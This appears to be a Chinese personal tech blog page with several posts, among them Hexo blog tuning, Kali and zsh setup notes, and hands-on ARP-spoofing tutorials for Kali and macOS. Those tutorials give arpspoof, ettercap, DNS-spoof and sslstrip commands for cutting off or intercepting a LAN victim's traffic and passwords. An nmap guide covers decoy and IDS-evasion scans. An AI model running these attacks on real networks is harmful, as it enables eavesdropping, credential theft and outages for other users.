以下内容,本人认为大部分已过时.VERCEL于2022/8/27被GFW通过DNS污染+SNI阻断变得不可用. 本页内容已过期. 更新日志📔:浅记博客更新日志 博客搭建 在优化博客之前,需要先搭建一个Hexo博客. 本文属于回忆性,各个地方不会太详细. WindowsLinuxAndroid 新建文件夹 有空再写 新建文件夹 有空再写 新建文件夹 有空再写 加速,优化 网站访问加速图解(流程图): 本人采用的是单路 Vercel 加速部署.没有使用Github Action自动部署 为了我博客的安全性🔐和隐私🔏性等因素的考虑💭,将我GitHub的仓库私有化了,私有仓库启动自动部署可是要给¥RMB的(我就被坑了几十块). 最后还是用了Github Action自动部署. 因为 coding 被腾讯帝国收购后 没了静态网站部署功能.所以没法采用双路部署了. 再加上还要实名认证,收集你的信息,Gitee和Coding等国内的都不推荐,但提供一个思路——国内和国外走不同的路线 本站经过了很多次的(没啥用的)优化 多少个日日夜夜,很多次凌晨🕛修bug,重构博客n次,见笑了,就随便弄弄的. ,算是尽力优化了.反正我优化和不优化,我MBP从来都没卡过.倒是经常有人抱怨我博客卡. (见笑了,这个性能问题不关注的.) 电脑太拉了? 本站最初并未采用vercel加速,所以部分资源(例如图床等)仍在GitHub. 所以即使我部署到vercel,部分资源仍然需要从GitHub上拉取. 为此我搞过一些办法,但效果不显著 Jsdelivr之前SSL证书📄被国内吊销了,所以也访问很慢(或者说无法访问)了.不过现在还是转到Jsdelivr了,因为它买了许多cdn加速域名,换一个就行了 甚至可以在前端写个加速判断,来选择哪个cdn加速——懒,不想弄 jsDelivr同时买了多家CDN,可以根据网站情况选择合适的. 1 2 3 4 5 testingcf.jsdelivr.net fastly.jsdelivr.net originfastly.jsdelivr.net gcore.jsdelivr.net quantil.jsdelivr.net 前端代码CDN优选 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 let cdn = { "gh": { jsdelivr: { "url": "https://cdn.jsdelivr.net/gh" }, pigax_jsd: { "url": "https://u.pigax.cn/gh" }, pigax_chenyfan_jsd: { "url": "https://cdn-jsd.pigax.cn/gh" }, tianli: { "url": "https://cdn1.tianli0.top/gh" }, //cdn.cnortles.top jsd.hin.cool cnortles: { "url": "https://cdn.cnortles.top/gh" }, hin_cool: { "url": "https://jsd.hin.cool/gh" } }, "combine": { jsdelivr: { "url": "https://cdn.jsdelivr.net/combine" }, pigax_jsd: { "url": "https://u.pigax.cn/combine" }, pigax_chenyfan_jsd: { "url": "https://cdn-jsd.pigax.cn/combine" }, tianli: { "url": "https://cdn1.tianli0.top/combine" }, //cdn.cnortles.top jsd.hin.cool cnortles: { "url": "https://cdn.cnortles.top/combine" }, hin_cool: { "url": "https://jsd.hin.cool/combine" } }, "npm": { eleme: { "url": "https://npm.elemecdn.com" }, jsdelivr: { "url": "https://cdn.jsdelivr.net/npm" }, zhimg: { "url": "https://unpkg.zhimg.com" }, unpkg: { "url": "https://unpkg.com" }, bdstatic: { "url": "https://code.bdstatic.com/npm" }, pigax_jsd: { "url": "https://u.pigax.cn/npm" }, pigax_unpkg: { "url": "https://unpkg.pigax.cn/" }, pigax_chenyfan_jsd: { "url": "https://cdn-jsd.pigax.cn/npm" }, tianli: { "url": "https://cdn1.tianli0.top/npm" }, //cdn.cnortles.top jsd.hin.cool cnortles: { "url": "https://cdn.cnortles.top/npm" }, hin_cool: { "url": "https://jsd.hin.cool/npm" } } } 博客进行过压缩图片,CDN 加速,Gulp 压缩全站静态资源,合并 CSS 以减少请求次数,调整第三方 JS 加载位置,Hexo 异步加载,Pjax等等.(没啥吊用,过时设备该卡还是卡) 本博客于2022年4月15日决定引入ServiceWorker技术 前端黑科技,非常牛逼,也是PWA(渐进式Web应用)的核心与灵魂,但是SW可以完全脱离PWA存在,而PWA可离不开. 关于SW技术,这位大佬的文章写得很好. 现在是2022年4月16日 03:12:18 尝试启用ServiceWorker技术.测试完成✅,于2022年4月16日 03:33:43开始推送. 发 现失败了,过几天再修一下小问题. 不修了,摆烂了. 未完待续,以后再继续挖坑. 看情况再写.(现在是随便写写✍️模式) 浅记更新日志 哪去了呢? 已经在另外篇文章开始水💦了.

2022/4/15
articleCard.readMore

简单记录一下Kali添加中文输入法

网上我没有找到任何一个教程关于这个. 本人尝试了一下然后成功了. 安装 1 apt install ibus ibus-libpinyin GitHub上的ibus-libpinyin 配置 打开设置,找到键盘然后添加中文(智能拼音) 大功告成

2022/4/15
articleCard.readMore

记录一下Oh My Zsh的安装与配置

在Mac下用习惯了zsh,用Kali Linux下的终端很不舒服.本文记录一下安装与配置的过程. GitHub官网 安装 1 sh -c "$(curl -fsSL https://raw.github.com/ohmyzsh/ohmyzsh/master/tools/install.sh)" 设置主题 1 vim ~/.zshrc 找到 ZSH_THEME robbyrussell 是默认的主题 ZSH_THEME=”robbyrussell” ZSH_THEME=”样式名称” 查看主题名称 Oh My Zsh 默认自带了一些默认主题,存放在 ~/.oh-my-zsh/themes 目录中。我们可以查看这些主题 终端输入: 1 cd ~/.oh-my-zsh/themes && ls 点击查看全部主题样式 将zsh设置为默认shell 1 chsh -s /bin/zsh 安装插件 zsh-autosuggestions 1 git clone git@github.com:zsh-users/zsh-syntax-highlighting.git $ZSH_CUSTOM/plugins/zsh-autosuggestions zsh-syntax-highlighting 1 git clone git@github.com:zsh-users/zsh-syntax-highlighting.git ${ZSH_CUSTOM:-~/.oh-my-zsh/custom}/plugins/zsh-syntax-highlighting 在 ~/.zshrc 中配置 1 plugins=(其他的插件 zsh-autosuggestions zsh-syntax-highlighting) git-open 可以在你git项目下打开远程仓库浏览项目。基础用法 git open 1 git clone https://github.com/paulirish/git-open.git $ZSH_CUSTOM/plugins/git-open 同样地,plugins里面添加 git-open bat bat 对大部分编程语言和标记语言提供语法高亮 (个人觉得比较好用,可以替代cat) Mac安装 brew install bat Linux 安装 1 sudo apt install bat && mkdir -p ~/.local/bin && ln -s /usr/bin/batcat ~/.local/bin/bat 然后在vim ~/.zshrc在末尾添加下面这个 export PATH=/root/.local/bin:$PATH 安装第三方字体 1 2 3 git clone https://github.com/powerline/fonts.git cd fonts ./install.sh 或者这样安装也行. 1 sudo apt-get install fonts-powerline 1 sudo fc-cache -f -v # 刷新缓存,使新字体生效 之后就可以去设置里面去设置字体了. 反正我没弄成功 卸载 Oh My Zsh 终端输入 : 1 2 uninstall_oh_my_zsh Are you sure you want to remove Oh My Zsh? [y/N] Y Tips Oh My Zsh 的自动更新提示误触关掉了解决办法 打开终端输入: 1 upgrade_oh_my_zsh

2022/4/14
articleCard.readMore

Kali Linux下ARP欺骗,断网攻击浅记

前言 本教程出于某些工具无法在Macos下无法运行.才有这Kali Linux篇.(建议先还是看一下Mac下ARP攻击浅记这篇文章) (搞渗透还是得Kali) 本人将分三个场景展开,让我们开始吧~(建议终端输入su,后续操作都需root权限) 软件安装及环境搭建 安装Dsniff套件 它的概述这里不多说,只说一下大致作用 Dsniff是一个基于unix系统网络嗅探工具。 Dsniff是一个工具集,主要分为四类: 纯粹被动地进行网络活动监视的工具,包括:dsniff、filesnarf、mailsnarf 、msgsnarf、urlsnarf、webspy; 针对SSH和SSL的MITM(Man-In-The-Middle)”攻击”工具,包括sshmitm和webmitm; 发起主动欺骗的工具,包括:arpspoof、dnsspoof、macof; 其它工具,包括tcpkill、tcpnice。 更多内容还是建议自己去看维基百科 1 sudo apt-get install dsniff #从软件列表中下载安装dsniff 局域网攻击&监控 攻击者位置 在网络层次的攻击模型中,首先要明确攻击者的位置,一般有如下三种: In Path :攻击者是具有较强的攻击能力,可以直接拦截并且修改通信双方的流量 On Path :攻击者不能拦截或者修改流量,但是攻击者可以向网络中注入流量 Off Path :攻击者不在链路上,但是攻击者单独和通信双方进行流量的通信 局域网就属于On Path 查找攻击目标ip NBTSCAN可以获取到PC的真实IP地址和MAC地址。 nbtscan -r 网关地址/24 其实用nmap更好.文章链接🔗 例如 nbtscan -r 172.20.10.1/24 这个就是我们要攻击的目标 这是我的虚拟机: 开始断网&监控攻击 如果需要直接让他断网先运行这个(看名字就知道这个是ipv4转发) 1 echo 0 > /proc/sys/net/ipv4/ip_forward 如果是监控的话(就是没察觉的意思) 1 echo 1 > /proc/sys/net/ipv4/ip_forward ARP欺骗攻击: 1 2 3 # arpspoof -i 网卡 -t 目标IP 网关 (网卡,网关获取去看Mac篇,这里不在赘述,默认为基本功.) # 例如 arpspoof -i eth0 -t 172.20.10.2 -r 172.20.10.1 安装并开启流量嗅探工具 driftnet 用于抓取网络流量中的图片,并将他们显示出来。ettercap是一个基于ARP地址欺骗方式的网络嗅探工具,主要适用于交换局域网络。 这个工具Mac上安不起才转的Kali,太草了. 1 2 3 4 apt-get install driftnet #安装driftnet工具 ettercap -Tq -i eth0 #-T是仅使用文本GUI,-q不显示数据内容,-i是指定网卡 (以实际为准) ,这个可以读取http明文传输的账号密码 driftnet -i eth0 #选择监听端口为eth0 (以实际为准) wireshark wireshark通过抓取eth0数据也能看到ARP攻击对象的流量 想抓https数据?很容易被发现的,这里稍微说一下吧 执行下面的命令,将80端口(http)的数据转发到10000端口(进行SSL剥离): 1 iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000 启用SSL剥离 执行下面的命令: 1 $ sslstrip -l 10000 这个命令的作用就是攻击者接收到受害者的http封包后进行https封装发送给网站,接收到网站的https封包后解密发送给受害者,真正在上网的是攻击者,它是受害者的https代理。如果受害者访问的是https://的话,浏览器会提示证书错误,因为数字证书上的数字签名是无效的,我们需要再想办法伪造一个数字证书。 好了,到此为止ssl剥离已经启用了,接下来可以在目标机器上进行测试了。 未完待续. 估计以后大概率不会补充内容了. 参考链接🔗1官方文档dsniff(8) - Linux 手册页 dsniff 此软件包包含几个用于监听和创建网络流量的工具: arpspoof - 发送未经请求(可能伪造)的arp回复。 dnsspoof - 伪造对局域网上任意DNS地址/指针查询的回复。 dsniff - 几种协议的密码嗅探器。 filesnarf - 保存从NFS流量中嗅探的选定文件。 macof - 用随机的MAC地址淹没本地网络。 mailsnarf - 在局域网上嗅到邮件,并以mbox格式存储。 msgsnarf - 记录来自不同即时信使的选定消息。 sshmitm - SSH猴子在中间。代理和嗅探SSH流量。 sshow - SSH流量分析仪。 tcpkill - 杀死指定的进行中TCP连接。 tcpnice - 通过“主动”流量塑造减慢指定的TCP连接速度。 urlsnarf - 从CLF中的HTTP流量中嗅出选定的URL。 webmitm - HTTP / HTTPS monkey-in-the-middle.透明代理。 webspy - 将从客户端嗅探的URL发送到本地浏览器(需要安装libx11-6)

2022/4/14
articleCard.readMore

Kali Linux如何通过添加pem证书以解决TLS certificate问题

在装完Kali Linux后,又遇到个Unacceptable TLS certificate问题. 起因:本人需要Mac下Surge代理软件在增强模式下解密HTTPS流量(通过MITM方式) 这可是个好功能噢~ 本以为Kali Linux能像MacOS和Windows一样简单.所以本文记录一下添加证书📄的过程. 证书格式转换 从Macos导出的CA证书📄格式为cer.而咱们的Kali Linux支持的是pem格式(后缀为crt或pem) KaliLinux终端命令: 1 openssl x509 -inform der -in /path/ca.cer -out /path/ca.crt 例如: 导入证书 将pem证书拷贝到证书文件夹: 1 sudo cp ca.crt /usr/share/ca-certificates/ca.crt 例如: 开始导入: 方案一(推荐) 1 sudo dpkg-reconfigure ca-certificates 回车,之后选yes. 再用空格选中☑️你添加的文件.然后确定(Tap键切换). 这样就OK啦 方案二 直接编辑ca-certificates.conf文件📃. 1 sudo vim /etc/ca-certificates.conf 按i键在末尾添加你的证书文件的相对路径即可. 添加好后,按ESC键加上wq回车就OK啦~ 参考链接🔗

2022/4/13
articleCard.readMore

解决在Kali Linux无法安装 Parallel Tools

前言 本文所使用的环境信息如下: Parallels Desktop Pro Edition 17.1.2 (51548) MacBook Pro 16-inch Apple M1 Max + macOS Monterey 12.3.1 系统 Kali Linux 2022.1 ARM 镜像 以上配置仅供参考,环境信息有稍许差异可能并不会影响问题的解决. 其实主要就是解决内核头的问题 本文跳过安装,配置等过程,直接手把手教学.还是别了,建议直接跳到 开始解决问题 挂载光盘 安装,并点继续. 打开文件,右键图中的文件,并点击属性. 复制上级文件夹 /media/cdrom0 后面开始略写 毕竟有点麻烦. 命令行操作 打开终端,输入命令如图所示. 回车. 一直按 Enter 键 直到看到失败的界面. 发现问题 如图所示,kali环境缺少这些东西.怎么办? 1 2 3 4 5 An error occurred while installing the following packages: - linux-headers-5.10.0-kali3-amd64 - dkms - libelf-dev - printer-driver-postscript-hp 开始解决问题 首先采用常规方式 1 2 3 4 # 更新源 apt update # 安装内核头 apt install linux-headers-$(uname -r) 不出所料,果然又出现了问题 所以才有了这篇文章 —–找不到软件包. 其实apt update命令不是必要的 方案一(推荐,简单且输入少) 若先更新apt upgrade遇到报错 按照如图所示操作.并回车 多次输入Y并回车. 速度慢? 如果你不会为kali配置代理或你没有代理可用,那你可以考虑通过换源来提高速度. 1 2 3 4 5 6 # 均在root用户权限下操作 # 备份更新源 mv /etc/apt/sources.list /etc/apt/sources.list.bak # 更改为清华大学镜像源 echo "deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free" >> /etc/apt/sources.list echo "deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free" >> /etc/apt/sources.list 稍等片刻即可完成更新.(主要取决于传输速度) 完成更新后,输入reboot (重启) 开机后,开始安装内核头. 之后一直回车然后等待安装. 安装完成,重启即可~ 方案二(不推荐,较为麻烦) 这个网站Index of /kali/pool/main/l/linux可以下载到各个版本的各种包信息 根据 echo $(uname -r) 获得 Linux 内核版本 其实通过上图就可以看出,所以这里多此一举.但复习一下代码也不错. 然后去下载对应的依赖文件 例如我打开网站搜索 linux-headers-5.15.0-kali3 然后找到我们需要的这2个文件. 分别右键复制链接. 1 2 3 4 5 6 7 8 9 10 11 12 13 # 下载保存为 headers.deb wget -O headers.deb http://old.kali.org/kali/pool/main/l/linux/linux-headers-5.15.0-kali3-arm64_5.15.15-2kali1_arm64.deb # 下载对应内核头依赖保存为 common.deb wget -O common.deb http://old.kali.org/kali/pool/main/l/linux/linux-headers-5.15.0-kali3-common_5.15.15-2kali1_all.deb # 安装辅助 deb 安装工具 apt install gdebi -y # 先安装 common 内核头依赖 gdebi common.deb # 再安装主角 内核头文件 gdebi headers.deb # 验证是否安装成功 (这个时候应该提示已经安装成功了) apt install linux-headers-$(uname -r) 官方参考链接🔗

2022/4/13
articleCard.readMore

Mac下ARP攻击浅记

前言 本教程以Macos环境为例,其他操作系统请自行参考.以下内容写的比较顺我的心. 言外之意:我随便写的,为的是方便我自己 另外如果你是Mac用户,你需要有相应的系统环境,如果你环境从来没有安装过或者没有,需要进行以下操作: 安装 macports (macports官网) 更新 macports , sudo port -d selfupdate 安装 arspoof , curl -LJO https://github.com/YeautyYE/arpspoof/releases/download/2.4b1%2Bdebian-29/arpspoof && chmod a+x arpspoof && mv arpspoof /usr/local/bin/ && sudo arpspoof项目链接 # 后面内容可以不用看.如果可以 也安装 dsniff(包含 arp 攻击的工具)sudo port install dsniff`就安装吧,kail下有dsniff工具,但这个工具太远古了,本人MBP装不上 垃圾东西,我尝试过修复,但修不好. .所以这里选择#前的替代方案. 安装 ettercap , brew install ettercap && brew install adwaita-icon-theme # 可选:adwaita-icon-theme # 如果你觉得按钮有问题无所谓的话,也可以选择不安装 adwaita-icon-theme. 安装 nmap , brew install nmap 上面👆的内容看不懂? 对不起,这个不是纯小白能看的内容,如果你连homebrew都没装,ARP协议及欺骗原理,网关等等都不知道的话,建议你还是马上关闭这个网页吧.会浪费你的时间. 开启网卡(一般不需要) 1 sudo chmod 777 /dev/bpf* 查看目标主机的ARP缓存记录的网关IP以及mac地址(顺便看一下en*端口): 如果出现批量重复mac地址,很有可能你在运行或运行过arpspoof命令,出现这种情况时mac地址不采用(因为不可信,nmap查出来的较为可信) 1 arp -a 查询本机各个网卡名的mac地址,本机IP等信息 1 ifconfig 以网关192.168.1.1为例,使用 ping 方式扫描(不准确,但快),192.168.1.1/24”表示扫描”192.168.1.1-192.168.1.254”这个网段的所有机器。 1 nmap -sP 192.168.31.1/24 注:nmap功能非常强大,这里不详细说. Mac下查询本机地址及网关地址(顺带看一下子网掩码): Linux呢?我不知道🤷‍♂️诶 才怪,Linux的是 route -n 1 netstat -nr # 或者ifconfig +网络接口名 eg: ifconfig en0 Routing table flags The following table describes the Flags column in the netstat -rn output: FlagDescription UUp—Route is valid GGateway—Route is to a gateway router rather than to a directly connected network or host HHost name—Route is to a host rather than to a network, where the destination address is a complete address RReject—Set by ARP when an entry expires (for example, the IP address could not be resolved into a MAC address) DDynamic—Route added by a route redirect or RIP (if routed is enabled) MModified—Route modified by a route redirect CCloning—A new route is cloned from this entry when it is used LLink—Link-level information, such as the Ethernet MAC address, is present SStatic—Route added with the route command 翻译如下: 路由表旗 下表描述了netstat -rn输出中的Flags列: 国旗描述 UUp—路线有效 G网关—路由是通往网关路由器,而不是直接连接的网络或主机 H主机名—路由是主机而不是网络,其中目标地址是一个完整的地址 R拒绝—当条目过期时由ARP设置(例如,IP地址无法解析为MAC地址) D动态—通过路由重定向或RIP添加的路由(如果启用路由) M修改—路由重定向修改的路线 C克隆—使用时从此条目克隆新路由 L链接—存在链接级信息,例如以太网MAC地址 S静态—路线与路由命令一起添加 Flag UCS 为网关或本机IP或子网掩码 Flag UHLWIir 为网关 这个我也不太清楚.建议参考上面资料并自行判断 表达式link#x,其中x是某个数字,用于指示相应的地址是链路级地址,即仅在主机物理连接的网络上运行的地址。 换句话说,这些是直接连接的网络,不需要额外的路由。 至于链接编号(为什么它们是#4和#5,而不是您可能期望的#1和#2),检查ifconfig -a的输出,您会看到链接#1通常是环回接口(lo0)。链路2和3通常是IPv6接口(gif0和stf0),为典型的en0(以太网)和en1(机场)留下链接4和5 在进行arp欺骗之前,为了让对方没有察觉.我们可以当个中间人(算是中间人(MITM)攻击了),这个就需要我们开启IP转发,使得本机具有路由功能,否则当欺骗成功之后,目标机会断网. 开启端口转发 Mac下(修改 mac 的packet filter包过滤器): 在 /etc/pf.anchors 目录下新建文件 http,内容如下 rdr pass on en0 proto tcp from any to any port 80 -> 127.0.0.1 port 8080 8080是程序监听的端口号,是否为en0,请以实际为准,否则无效果. 修改 /etc/pf.conf 文件,在适当的位置加入 rdr-anchor "http-forwarding" 和 load anchor "http-forwarding" from "/etc/pf.anchors/http" 两行命令. 必须按照顺序插入,否则会无效。 /etc/pf.conf 修改后是这样: 1 2 3 4 5 6 7 8 9 10 11 # # com.apple anchor point # scrub-anchor "com.apple/*" nat-anchor "com.apple/*" rdr-anchor "com.apple/*" rdr-anchor "http-forwarding" dummynet-anchor "com.apple/*" anchor "com.apple/*" load anchor "com.apple" from "/etc/pf.anchors/com.apple" load anchor "http-forwarding" from "/etc/pf.anchors/http" 重启 packet filter,依次输入命令 sudo pfctl -ef /etc/pf.conf 和 sudo pfctl -E 开启IP转发: Mac下: 1 sudo sysctl -w net.inet.ip.forwarding=1 Linux下: 1 echo 1 >/proc/sys/net/ipv4/ip_forward && cat /proc/sys/net/ipv4/ip_forward 查看本机IP转发情况: 1 sudo sysctl -a | grep forward ARP欺骗 假设被攻击的 IP 是 192.168.1.66,局域网的网关是 192.168.1.1,攻击电脑使用的网卡接口是 en0,则欺骗命令如下: 1 2 # arpspoof -i en0 -t 目标IP -r 网关IP arpspoof -i en0 -t 192.168.1.66 -r 192.168.1.1 arpspoof - 拦截交换局域网上的数据包 arpspoof [-i interface] [-c own|host|both] [-t target] [-r] host 参数: -i:指定要使用的接口(即指定一块网卡),像eth0等。 -c:指定在恢复ARP配置时使用的硬件地址;当在清理(cleaning up)时,数据包的源地址可以用自己的也可以用主机(host)的硬件地址.使用伪造的硬件地址可能导致某些配置下的交换网络、AP网络或桥接网络通信中断,然而它比起默认值————使用自己的硬件地址要工作地更为可靠。 -t:目标地址,如果没指定则会指定LAN上的所有主机。重复可以指定多个主机。 -r:捕获两个方向(目标和主机(host))上的流量,这样就不需要arpspoof发出两个命令了。(仅仅在和-t参数一起使用时有效) host:你想要截获数据包的主机 (通常是网关)。 想了解更多建议Google或者链接🔗 ettercap截获流量 在前面步骤完成后,可以开始使用ettercap捕获流量了,用命令行开启ettercap的图形窗口: 1 sudo ettercap -G 选择网卡端口en0(请根据实际情况).然后点✔︎即可. 开始扫描. 接下来查看扫描出来的主机信息. 在Host List中添加目标主机IP到 Target 1,添加网关IP到 Target 2. 再开启ARP,选择”sniff remote connections”,然后点击”OK”。这样就配置完成,ettercap会自动开始arp欺骗。.然后再查看数据(选择View下的”Connections”可以监听流量). 命令说明 ARP poisoningARP投毒 DNP poisoningDNP投毒 ICMP redirecticmp重定向 Port stealing端口欺骗 DHCP spoofingDHCP欺骗 stop MITM停止攻击 SSL interceptssl嗅探 Hosts显示主机列表 Filters载入二进制脚本 Plugins插件 hosts选项: 命令说明 Hosts list扫描到的主机列表 Enable ipv6 scan扫描ipv6地址 Scan for hosts扫描主机列表 load hosts form file从外部文件载入主机列表 Save hosts to file保存主机列表到文件 修改 /etc/ettercap/etter.dns 并激活dns_spoof插件即可实现DNS劫持.例如 ettercap -i eth0 -Tp -M arp:remote -P dns_spoof /192.168.127.211// /192.168.127.2// 也有ddos插件,可实现ddos攻击,在同一网关下,以我电脑性能实测完全碾压. 不同网关的话,另论 怎样防范ARP欺骗? 很简单. 1.在主机绑定网关MAC与IP地址为静态(默认为动态),命令:arp -s 网关IP 网关MAC 2.在网关绑定主机MAC与IP地址,有条件可以使用ARP防火墙. 参考链接🔗有:MacOS下进行ARP欺骗应用ettercap工具进行中间人攻击Dsniff简介arp欺骗攻击及其原理 大学霸 Kali Linux 安全渗透教程

2022/4/13
articleCard.readMore

记录一下关于nmap命令

前言&介绍 软件官网Nmap中文参考指南在线工具—–用于匿名化Nmap扫描原理与用法一种避开Nmap操作系统特征识别法的手段nmap端口扫描1nmap端口扫描2 Mac安装: 在终端中输入brew install nmap(如果未安装Homebrew,需在之前输入ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)" < /dev/null 2> /dev/null) 以下介绍来自维基百科: Nmap**(网络映射器)是一款用于网络发现和安全审计的网络安全工具,它是自由软件。软件名字Nmap是Network Mapper的简称。通常情况下,Nmap用于: 列举网络主机清单 管理服务升级调度 监控主机 服务运行状况 Nmap可以检测目标主机是否在线、端口开放情况、侦测运行的服务类型及版本信息、侦测操作系统与设备类型等信息。 它是网络管理员必用的软件之一,用以评估网络系统安全。 Nmap 是不少黑客及脚本小子爱用的工具 。系统管理员可以利用Nmap来探测工作环境中未经批准使用的服务器,黑客通常会利用Nmap来搜集目标电脑的网络设定,从而计划攻击的方法。 Nmap通常用在信息搜集阶段,用于搜集目标机主机的基本状态信息。扫描结果可以作为漏洞扫描、漏洞利用和权限提升阶段的输入。例如,业界流行的漏洞扫描工具Nessus与漏洞利用工具Metasploit都支持导入Nmap的XML格式结果,而Metasploit框架内也集成了Nmap工具(支持Metasploit直接扫描)。 Nmap不仅可以用于扫描单个主机,也可以适用于扫描大规模的计算机网络(例如,扫描英特网上数万台计算机,从中找出感兴趣的主机和服务)。 核心功能 主机发现 用于发现目标主机是否处于活动状态。 Nmap 提供了多种检测机制,可以更有效地辨识主机。例如可用来列举目标网络中哪些主机已经开启,类似于Ping命令的功能。 端口扫描 用于扫描主机上的端口状态。 Nmap可以将端口识别为开放(Open)、关闭(Closed)、过滤(Filtered)、未过滤(Unfiltered)、开放或过滤(Open|Filtered)、关闭或过滤(Closed|Filtered)。默认情况下,Nmap会扫描1660个常用的端口,可以覆盖大多数基本应用情况。 版本侦测 用于识别端口上运行的应用程序与程序版本。 Nmap目前可以识别数千种应用的签名(Signatures),检测数百种应用协议。而对于不识别的应用,Nmap默认会将应用的指纹(Fingerprint)打印出来,如果用户确知该应用程序,那么用户可以将信息提交到社区,为社区做贡献。 操作系统侦测 用于识别目标主机的操作系统类型、版本编号及设备类型。 Nmap目前提供1500个操作系统或设备的指纹数据库,可以识别通用PC系统、路由器、交换机等设备类型。 防火墙/IDS规避和哄骗 Nmap提供多种机制来规避防火墙、IDS的的屏蔽和检查,便于秘密地探查目标主机的状况。 基本的规避方式包括:数据包分片、IP诱骗、IP伪装、MAC地址伪装。 NSE脚本引擎 NSE是Nmap最强大最灵活的特性之一,可以用于增强主机发现、端口扫描、版本侦测和操作系统侦测等功能,还可以用来扩展高级的功能如web扫描、漏洞发现和漏洞利用等。Nmap使用Lua语言来作为NSE脚本语言,目前的Nmap脚本库已经支持350多个脚本。 Nmap部分命令和一些用法 Nmap 基本指令 1 nmap [ <扫描类型> ...] [ <选项> ] { <扫描目标说明> } 全方位扫描(包括Host Discovery、端口扫描、端口服务版本扫描、OS类型扫描及默认脚本扫描): 1 nmap -A target_ip Ping扫描: 1 nmap -sn target_ip 快速端口扫描(前100个常用端口): 1 nmap -F target_ip 版本扫描: 1 nmap -sV target_ip 作业系统类型扫描: 1 nmap -O target_ip 运行标记为safe的nse script 1 nmap -sC target_ip 运行完整tcp握手扫描(虽然nmap默认使用tcp半开放扫描,即选项-sS。但却容易被今日大多信息安全厂商入侵侦测系统发现,因此使用“完整握手扫描-sT”还比“隐形扫描-sS”来得更隐匿) 1 nmap -sT target_ip 发送碎片数据包,躲避ids侦测和绕过防火墙(8-bytes为单位),但实际上碎片数据包特征过于明显,不建议于实际红队攻击中使用 1 nmap -f target_ip 使用同网段上闲置主机(zombie_host)作为跳板扫描 1 nmap -sI zombie_host:zombie_port target_ip 使用大量虚假的源地址,混淆被扫描方日后鉴识、分析的能力,即诱饵扫描 1 nmap -D ip1,ip2,ip3,... target_ip 或 1 nmap -D RND:10 target_ip (随机产生10组ipv4掩护) 如果希望对某台主机进行完整全面的扫描,那么可以使用nmap内置的-A选项。使用了改选项,nmap对目标主机进行主机发现、端口扫描、应用程序与版本侦测、操作系统侦测及调用默认NSE脚本扫描。 命令形式: nmap –T4 –A –v targethost 其中-A选项用于使用进攻性(Aggressive)方式扫描;-T4指定扫描过程使用的时序(Timing),总有6个级别(0-5),级别越高,扫描速度越快,但也容易被防火墙或IDS检测并屏蔽掉,在网络通讯状况良好的情况推荐使用T4;-v表示显示冗余(verbosity)信息,在扫描过程中显示扫描的细节,从而让用户了解当前的扫描状态.(使用-vv可以获得更好的效果) 主机发现的探测方式: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 -sL: List Scan 列表扫描,仅将指定的目标的IP列举出来,不进行主机发现。 -sn: Ping Scan 只进行主机发现,不进行端口扫描。 -Pn: 将所有指定的主机视作开启的,跳过主机发现的过程。 -PS/PA/PU/PY[portlist]: 使用TCPSYN/ACK或SCTP INIT/ECHO方式进行发现。 -PE/PP/PM: 使用ICMP echo, timestamp, and netmask 请求包发现主机。-PO[protocollist]: 使用IP协议包探测对方主机是否开启。 -n/-R: -n表示不进行DNS解析;-R表示总是进行DNS解析。 --dns-servers <serv1[,serv2],...>: 指定DNS服务器。 --system-dns: 指定使用系统的DNS服务器 --traceroute: 追踪每个路由节点 其中,比较常用的使用的是-sn,表示只单独进行主机发现过程;-Pn表示直接跳过主机发现而进行端口扫描等高级操作(如果已经确知目标主机已经开启,可用该选项);-n,如果不想使用DNS或reverse DNS解析,那么可以使用该选项。 默认情况下,Nmap会扫描1000个最有可能开放的TCP端口。 Nmap通过探测将端口划分为6个状态: open:端口是开放的。 closed:端口是关闭的。 filtered:端口被防火墙IDS/IPS屏蔽,无法确定其状态。 unfiltered:端口没有被屏蔽,但是否开放需要进一步确定。 open|filtered:端口是开放的或被屏蔽。 closed|filtered :端口是关闭的或被屏蔽。 扫描方式选项 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 -sS/sT/sA/sW/sM:指定使用 TCP SYN/Connect()/ACK/Window/Maimon scans的方式来对目标主机进行扫描。 -sU: 指定使用UDP扫描方式确定目标主机的UDP端口状况。 -sN/sF/sX: 指定使用TCP Null, FIN, and Xmas scans秘密扫描方式来协助探测对方的TCP端口状态。 --scanflags <flags>: 定制TCP包的flags。 -sI <zombiehost[:probeport]>: 指定使用idle scan方式来扫描目标主机(前提需要找到合适的zombie host) -sY/sZ: 使用SCTP INIT/COOKIE-ECHO来扫描SCTP协议端口的开放的情况。 -sO: 使用IP protocol 扫描确定目标机支持的协议类型。 -b <FTP relay host>: 使用FTP bounce scan扫描方式 TCP连接扫描-sT 使用操作系统的网络连接系统调用 connect(),对目标主机发起 TCP 三路握手,待完成后 Nmap 立即中断此次连接。 Nmap 通过获取每个尝试连接的状态信息来判定侦测端口的状态 SYN扫描-sS Nmap 产生一个 SYN 数据报文,如果侦测端口开放并返回 SYN-ACK 响应报文 Nmap 据此发送 RST 报文给侦测端口结束当前连接,这样做的好处在于缩短了端口扫描时间 UDP扫描-sU UDP 本身是无连接的协议,Nmap 向目标主机的端口发送 UDP 探测报文 如果端口没有开放,被侦测主机将会发送一个 ICMP 端口不可到达的消息 Nmap 根据这个消息确定端口闭合(closed)或者被过滤 (unfiltered) 通常没有回复意味着端口是开放(open)状态. ACK扫描-sA 这种扫描比较特殊,它不能确切知道端口的基本状态,而是主要用来探测防火墙是否存在以及其中设定的过滤规则 FIN扫描-sF 和 SYN 扫描相比,这种方式更为隐蔽,因此能够穿过防火墙的过滤 关闭(closed)端口将会返回合适的 RST 报文,而开放端口将忽略这样的侦测报文 具备类似防火墙不敏感特性的还有 -sN NULL 扫描,-sX X-mas 扫描. 端口参数与扫描顺序 1 2 3 4 5 6 7 8 9 10 11 -p <port ranges>: 扫描指定的端口 实例: -p22; -p1-65535; -p 